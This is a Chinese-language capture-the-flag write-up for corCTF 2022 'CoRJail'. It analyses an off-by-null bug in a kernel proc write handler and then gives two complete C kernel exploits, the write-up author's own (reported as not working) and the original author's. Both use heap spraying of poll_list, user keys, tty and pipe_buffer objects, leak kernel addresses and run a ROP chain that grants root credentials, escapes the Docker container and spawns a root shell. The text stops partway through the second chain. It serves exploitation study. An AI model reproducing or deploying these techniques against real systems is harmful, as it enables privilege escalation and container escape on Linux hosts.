[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape
前言
题目来源:竞赛官网 – 建议这里下载,文件系统/带符号的 vmlinux
给了
参考
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel – 原作者文章,poll_list
利用方式
corCTF-2022:Corjail-内核容器逃逸 – 对题目做了详细的解析
漏洞解析与利用
这里就直接对着源码看了,想分析题目的请阅读上述参考文章。
漏洞出现在 cormon_proc_write
函数中:
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{loff_t offset = *ppos;char *syscalls;size_t len;if (offset < 0)return -EINVAL;if (offset >= PAGE_SIZE || !count)return 0;len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);if (!syscalls){printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");return -ENOMEM;}if (copy_from_user(syscalls, ubuf, len)){printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");return -EFAULT;}syscalls[len] = '\x00';if (update_filter(syscalls)){kfree(syscalls);return -EINVAL;}kfree(syscalls);return count;
}
当 len = PAGE_SIZE
时,存在 off by null
漏洞,测试发现没有开 cg
,所以利用方式很多,但是题目是在容器中并且限制了很多系统调用,比如 msgsnd
等。
这里笔者采用了两种利用方式,第一种就是原作者文章中提出的利用 poll_list
构造任意释放原语,然后利用该原语构造 UAF
,详细见原文。这里给出笔者的 exp
这种方式感觉很不稳定,然后我的
exp
存在问题,打不通。但是原作者的exp
是可以成功打通的。原作者的exp
可以好好学习一下,里面有很多技巧去稳定堆喷
笔者 exp
:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};struct tty_file_private {size_t tty;size_t file;size_t next;size_t prev;
};int randint(int min, int max)
{return min + (rand() % (max - min));
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}// #define DEBUG 1
#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define PAGE_SIZE 4096
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16// size 为预分配的对象大小
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int fds[0x1000];struct t_args
{int id;int nfds;int timer;bool suspend;
};void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id = ((struct t_args *)args)->id;nfds = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_addr(size_t addr) {return addr >= 0xFFFF888000000000 && addr <= 0xFFFFF00000000000;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}#define SPRAY_SEQ_F 2048
#define SPRAY_SEQ_S 128
#define SPRAY_SEQ (SPRAY_SEQ_F+SPRAY_SEQ_S)
#define SPRAY_KEY 199
#define SPRAY_TTY 256
#define SPRAY_PIPE 1024int seq_fd[SPRAY_SEQ];
int key_id[SPRAY_KEY];
int tty_fd[SPRAY_TTY];
int pipe_fd[SPRAY_PIPE][2];
size_t kbase, koffset;int main(int argc, char** argv, char** envp)
{bind_core(0);save_status();char buf[0x20000] = { 0 };fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");init_fd(0);info("Saturating kmalloc-32 partial slabs...");for (int i = 0; i < SPRAY_SEQ_F; i++) {seq_fd[i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[i] < 0)err_exit("FAILED to open /proc/self/stat at Saturating kmalloc-32 partial slabs");}info("Spraying user_key_payload in kmalloc-32...");for (int i = 0; i < SPRAY_KEY / 3; i++) {char value[100] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}int thread_nums = 22;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 4096+24, 4000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Spraying user_key_payload in kmalloc-32...");for (int i = SPRAY_KEY / 3; i < SPRAY_KEY; i++) {char value[32] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) err_exit("FAILED to alloc user key");}info("Corrupting poll_list next pointer...");off_by_null();info("Triggering arbitrary free...");join_poll_threads();info("Overwriting user_key_payload.datalen by spraying seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {seq_fd[SPRAY_SEQ_F+i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[SPRAY_SEQ_F+i] < 0)err_exit("FAILED to open /proc/self/stat to spray seq_operations");}info("Leaking kernel addr...");int victim_key_i = -1;uint64_t proc_single_show = -1;for (int i = 0; i < SPRAY_KEY; i++) {if (key_read(key_id[i], buf, sizeof(buf)) > 32) {binary_dump("OOB READ DATA", buf, 0x20);victim_key_i = i;proc_single_show = *(uint64_t*)buf;koffset = proc_single_show - 0xffffffff813275c0;kbase = koffset + 0xffffffff81000000;hexx("victim_key_i", i);hexx("proc_single_show", proc_single_show);hexx("koffset", koffset);hexx("kbase", kbase);break;}}if (victim_key_i == -1) err_exit("FAILED to leak kernel addr");info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY; i++) {if (i != victim_key_i) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}}// info("Freeing partial seq_operations...");
// for (int i = 0; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }sleep(1);info("Spraying tty_file_private / tty_sturct...");for (int i = 0; i < SPRAY_TTY; i++) {tty_fd[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY);if (tty_fd[i] < 0) err_exit("FAILED to open /dev/ptmx");}info("Leak heap addr by OOB READ tty_file_private.tty_struct...");memset(buf, 0, sizeof(buf));int len = key_read(key_id[victim_key_i], buf, sizeof(buf));hexx("OOB READ len", len);struct tty_file_private* tfp;struct tty_file_private tfp_data;for (size_t i = 0; i < len; i += 8) {tfp = (struct tty_file_private*)(&buf[i]);if (is_heap_pointer(tfp->tty) && (((tfp->tty) & 0xff) == 0)) {if ((tfp->next == tfp->prev) && (tfp->next != 0)) {if (tfp->tty != tfp->file && tfp->tty != tfp->next) {binary_dump("tty_file_private", tfp, sizeof(struct tty_file_private));memcpy(&tfp_data, tfp, sizeof(struct tty_file_private));break;}}}tfp = NULL;}if (tfp == NULL) err_exit("FAILED to leak heap addr");uint64_t target_obj = tfp_data.tty;hexx("A kmalloc-1k obj addr", target_obj);// info("Freeing the rest of seq_operations...");
// for (int i = 1; i < SPRAY_SEQ_S; i += 2) {
// close(seq_fd[SPRAY_SEQ_F+i]);
// }info("Freeing all seq_operations...");for (int i = 0; i < SPRAY_SEQ_S; i++) {close(seq_fd[SPRAY_SEQ_F+i]);}sleep(1);thread_nums = 199;info("Creating poll threads to spray poll_list chain...");for (int i = 0; i < thread_nums; i++) {create_poll_thread(i, 24, 5000, false);}while (poll_threads != thread_nums) {}sleep(1);info("Freeing victim key...");key_revoke(key_id[victim_key_i]);if (key_unlink(key_id[victim_key_i]) < 0) err_exit("FAILED to key_unlink");info("Corrupting poll_list next pointer...");for (int i = 0; i < SPRAY_KEY - 1; i++) {char value[100] = { 0 };char des[100] = { 0 };*(uint64_t*)value = target_obj - 0x18;sprintf(des, "%d", i);setxattr("/tmp/exploit", "Pwner", value, 32, XATTR_CREATE);key_id[i] = key_alloc(des, value, 32-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Freeing all tty_file_private / tty_struct...");for (int i = 0; i < SPRAY_TTY; i++) {close(tty_fd[i]);}/* info("Spraying user_key_payload to occupy some kmalloc-1k objs...");for (int i = 0; i < SPRAY_KEY; i++) {char value[0x1000] = { 0 };char des[8] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, value, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}sleep(1);info("Freeing some user_key_payload to kmalloc-1k slab...");for (int i = 0; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Spraying pipe_buffer to occupy target obj...");for (int i = 0; i < SPRAY_PIPE; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("FAILED to spray pipe_buffer");write(pipe_fd[i][1], "Pwn", 3);}/* info("Freeing the rest of user_key_payload to kmalloc-1k slab...");for (int i = 1; i < SPRAY_KEY; i += 2) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}
*/info("Triggering arbitrary free...");join_poll_threads();sleep(1);char* buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_obj + 0x30; // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = koffset + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = koffset + 0xffffffff810007a9; // pop rsp ; ret*(uint64_t *)&buff[0x00] = koffset + 0xffffffff813c6b78; // add rsp, 0x78 ; ret// ROPuint64_t* rop = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1; // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= koffset + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= koffset + 0xffffffff8100051c; // pop rsi ; ret*rop ++= koffset + 0xffffffff8245a720; // init_nsproxy;*rop ++= koffset + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= koffset + 0xffffffff82589740; // init_fs;*rop ++= koffset + 0xffffffff812e7350; // copy_fs_struct;*rop ++= koffset + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= koffset + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid(); // pid*rop ++= koffset + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= koffset + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0; // current->fs*rop ++= koffset + 0xffffffff8102396f; // add rax, rcx ; ret*rop ++= koffset + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret*rop ++= 0; // rbx// kpti trampoline*rop ++= koffset + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&get_root_shell;*rop ++= user_cs;*rop ++= user_rflags;*rop ++= user_sp;*rop ++= user_ss;info("Freeing all user_key_payload...");for (int i = 0; i < SPRAY_KEY - 1; i++) {key_revoke(key_id[i]);if (key_unlink(key_id[i]) < 0) err_exit("FAILED to key_unlink");}sleep(1);info("Spray ROP chain...");for (int i = 0; i < 19; i++) {char des[100] = { 0 };sprintf(des, "%d", i);key_id[i] = key_alloc(des, buff, 1024-0x18);if (key_id[i] < 0) printf("ERROR at %d\n", i), perror("X"), err_exit("FAILED to alloc user key");}info("Hijacking control flow...");for (int i = 0; i < SPRAY_PIPE; i++) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}puts("EXP NERVER END!");return 0;
}
效果如下:根本打不通,还是太菜了,最后似乎无法成功拿到 target_object
原作者 exp
:成功率还行,可以接收
#define _GNU_SOURCE#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <poll.h>
#include <pthread.h>
#include <keyutils.h>#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>#include <linux/rtnetlink.h>
#include <linux/capability.h>
#include <linux/genetlink.h>
#include <linux/pfkeyv2.h>
#include <linux/xfrm.h>#include <net/if.h>
#include <arpa/inet.h>// #define DEBUG 1#ifdef DEBUG
#define debug(...) printf(__VA_ARGS__)
#else
#define debug(...) do {} while (0)
#endif#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;uint64_t usr_cs, usr_ss, usr_rflags;
uint64_t proc_single_show;
uint64_t target_object;
uint64_t kernel_base;int pipes[0x1000][2];
int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int s;struct t_args
{int id;int nfds;int timer;bool suspend;
};struct rcu_head
{void *next;void *func;
};struct user_key_payload
{struct rcu_head rcu;unsigned short datalen;char *data[];
};struct poll_list
{struct poll_list *next;int len;struct pollfd entries[];
};bool is_kernel_pointer(uint64_t addr)
{return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}bool is_heap_pointer(uint64_t addr)
{return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}void __pause(char *msg)
{printf("[-] Paused - %s\n", msg);getchar();
}void save_state()
{__asm__ __volatile__("movq %0, cs;""movq %1, ss;""pushfq;""popq %2;": "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}int randint(int min, int max)
{return min + (rand() % (max - min));
}void assign_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0){perror("[X] sched_setaffinity()");exit(1);}
}void assign_thread_to_core(int core_id)
{cpu_set_t mask;CPU_ZERO(&mask);CPU_SET(core_id, &mask);if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0){perror("[X] assign_thread_to_core_range()");exit(1);}
}void init_fd(int i)
{fds[i] = open("/etc/passwd", O_RDONLY);if (fds[i] < 1){perror("[X] init_fd()");exit(1);}
}void *alloc_poll_list(void *args)
{struct pollfd *pfds;int nfds, timer, id;bool suspend;id = ((struct t_args *)args)->id;nfds = ((struct t_args *)args)->nfds;timer = ((struct t_args *)args)->timer;suspend = ((struct t_args *)args)->suspend;pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++){pfds[i].fd = fds[0];pfds[i].events = POLLERR;}assign_thread_to_core(0);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);debug("[Thread %d] Start polling...\n", id);int ret = poll(pfds, nfds, timer);debug("[Thread %d] Polling complete: %d!\n", id, ret);assign_thread_to_core(randint(1, 3));if (suspend){ debug("[Thread %d] Suspending thread...\n", id);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);while (1) { };}}void create_poll_thread(int id, size_t size, int timer, bool suspend)
{struct t_args *args;args = calloc(1, sizeof(struct t_args));if (size > PAGE_SIZE)size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));args->id = id;args->nfds = NFDS(size);args->timer = timer;args->suspend = suspend;pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}void join_poll_threads(void)
{for (int i = 0; i < poll_threads; i++){pthread_join(poll_tid[i], NULL);open("/proc/self/stat", O_RDONLY);}poll_threads = 0;
}int alloc_key(int id, char *buff, size_t size)
{char desc[256] = { 0 };char *payload;int key;size -= sizeof(struct user_key_payload);sprintf(desc, "payload_%d", id);payload = buff ? buff : calloc(1, size);if (!buff)memset(payload, id, size); key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);if (key < 0){perror("[X] add_key()");return -1;}return key;
}void free_key(int i)
{keyctl_revoke(keys[i]);keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);n_keys--;
}void free_all_keys(bool skip_corrupted_key)
{for (int i = 0; i < n_keys; i++){ if (skip_corrupted_key && i == corrupted_key)continue;free_key(i);}sleep(1); // GC keys
}char *get_key(int i, size_t size)
{char *data;data = calloc(1, size);keyctl_read(keys[i], data, size);return data;
}void alloc_pipe_buff(int i)
{if (pipe(pipes[i]) < 0){perror("[X] alloc_pipe_buff()");return;}if (write(pipes[i][1], "XXXXX", 5) < 0){perror("[X] alloc_pipe_buff()");return;}
}void release_pipe_buff(int i)
{if (close(pipes[i][0]) < 0){perror("[X] release_pipe_buff()");return;}if (close(pipes[i][1]) < 0){perror("[X] release_pipe_buff()");return;}
}void alloc_tty(int i)
{ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx[i] < 0){perror("[X] alloc_tty()");exit(1);}
}void free_tty(int i)
{close(ptmx[i]);
}void alloc_seq_ops(int i)
{seq_ops[i] = open("/proc/self/stat", O_RDONLY);if (seq_ops[i] < 0){perror("[X] spray_seq_ops()");exit(1);}
}void free_seq_ops(int i)
{close(seq_ops[i]);
}int leak_kernel_pointer(void)
{uint64_t *leak;char *key;for (int i = 0; i < n_keys; i++){key = get_key(i, 0x10000);leak = (uint64_t *)key;if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x5c0){corrupted_key = i;proc_single_show = *leak;kernel_base = proc_single_show - 0xffffffff813275c0;printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);return 0;}}return -1;
}int leak_heap_pointer(int kid)
{uint64_t *leak;char *key;key = get_key(kid, 0x20000);leak = (uint64_t *)key;for (int i = 0; i < 0x20000/sizeof(uint64_t); i++){if (is_heap_pointer(leak[i]) && (leak[i] & 0xff) == 0x00){ if (leak[i + 2] == leak[i + 3] && leak[i + 2] != 0){target_object = leak[i];printf("[+] Leaked kmalloc-1024 object: 0x%llx\n", target_object);return 0;}}}return -1;
}bool check_root()
{int fd;if ((fd = open("/etc/shadow", O_RDONLY)) < 0)return false;close(fd);return true;
}void win(void)
{if (check_root()){puts("[+] We are Ro0ot!");char *args[] = { "/bin/bash", "-i", NULL };execve(args[0], args, NULL);}
}int main(int argc, char **argv)
{ char data[0x1000] = { 0 };char key[32] = { 0 };uint64_t *rop;void *stack;char *buff;assign_to_core(0);save_state();stack = mmap((void *)0xdead000, 0x10000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0){perror("[X] open()");return -1;}init_fd(0);puts("[*] Saturating kmalloc-32 partial slabs...");for (int i = 0; i < 2048; i++)alloc_seq_ops(i);puts("[*] Spraying user keys in kmalloc-32...");for (int i = 0; i < 72; i++){ setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 14; i++)create_poll_thread(i, 4096 + 24, 3000, false);assign_to_core(0);while (poll_threads != 14) { };usleep(250000);puts("[*] Spraying more user keys in kmalloc-32...");for (int i = 72; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Corrupting poll_list next pointer...");write(fd, data, PAGE_SIZE);puts("[*] Triggering arbitrary free...");join_poll_threads();puts("[*] Overwriting user key size / Spraying seq_operations structures...");for (int i = 2048; i < 2048 + 128; i++)alloc_seq_ops(i);puts("[*] Leaking kernel pointer...");if (leak_kernel_pointer() < 0){puts("[X] Kernel pointer leak failed, try again...");exit(1);}puts("[*] Freeing user keys...");free_all_keys(true);puts("[*] Spraying tty_file_private / tty_struct structures...");for (int i = 0; i < 72; i++)alloc_tty(i);puts("[*] Leaking heap pointer...");if (leak_heap_pointer(corrupted_key) < 0){puts("[X] Heap pointer leak failed, try again...");exit(1);}puts("[*] Freeing seq_operation structures...");for (int i = 2048; i < 2048 + 128; i++)free_seq_ops(i);assign_to_core(randint(1, 3));puts("[*] Creating poll threads...");for (int i = 0; i < 192; i++)create_poll_thread(i, 24, 3000, true);assign_to_core(0);while (poll_threads != 192) { }; usleep(250000);puts("[*] Freeing corrupted key...");free_key(corrupted_key);sleep(1); // GC keyputs("[*] Overwriting poll_list next pointer...");*(uint64_t *)&data[0] = target_object - 0x18;for (int i = 0; i < MAX_KEYS; i++){setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);keys[i] = alloc_key(n_keys++, key, 32);}puts("[*] Freeing tty_struct structures...");for (int i = 0; i < 72; i++)free_tty(i);sleep(1); // GC TTYsputs("[*] Spraying pipe_buffer structures...");for (int i = 0; i < 1024; i++)alloc_pipe_buff(i);puts("[*] Triggering arbitrary free...");while (poll_threads != 0) { };buff = (char *)calloc(1, 1024);// Stack pivot*(uint64_t *)&buff[0x10] = target_object + 0x30; // anon_pipe_buf_ops*(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]*(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret*(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret// ROProp = (uint64_t *)&buff[0x80];// creds = prepare_kernel_cred(0)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred// commit_creds(creds)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff810eba40; // commit_creds// task = find_task_by_vpid(1)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= 1; // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// switch_task_namespaces(task, init_nsproxy)*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0; // 0*rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret*rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret*rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;*rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces// new_fs = copy_fs_struct(init_fs)*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= kernel_base + 0xffffffff82589740; // init_fs;*rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;*rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret// current = find_task_by_vpid(getpid())*rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret*rop ++= getpid(); // pid*rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid// current->fs = new_fs*rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret*rop ++= 0x6e0; // current->fs*rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret*rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr 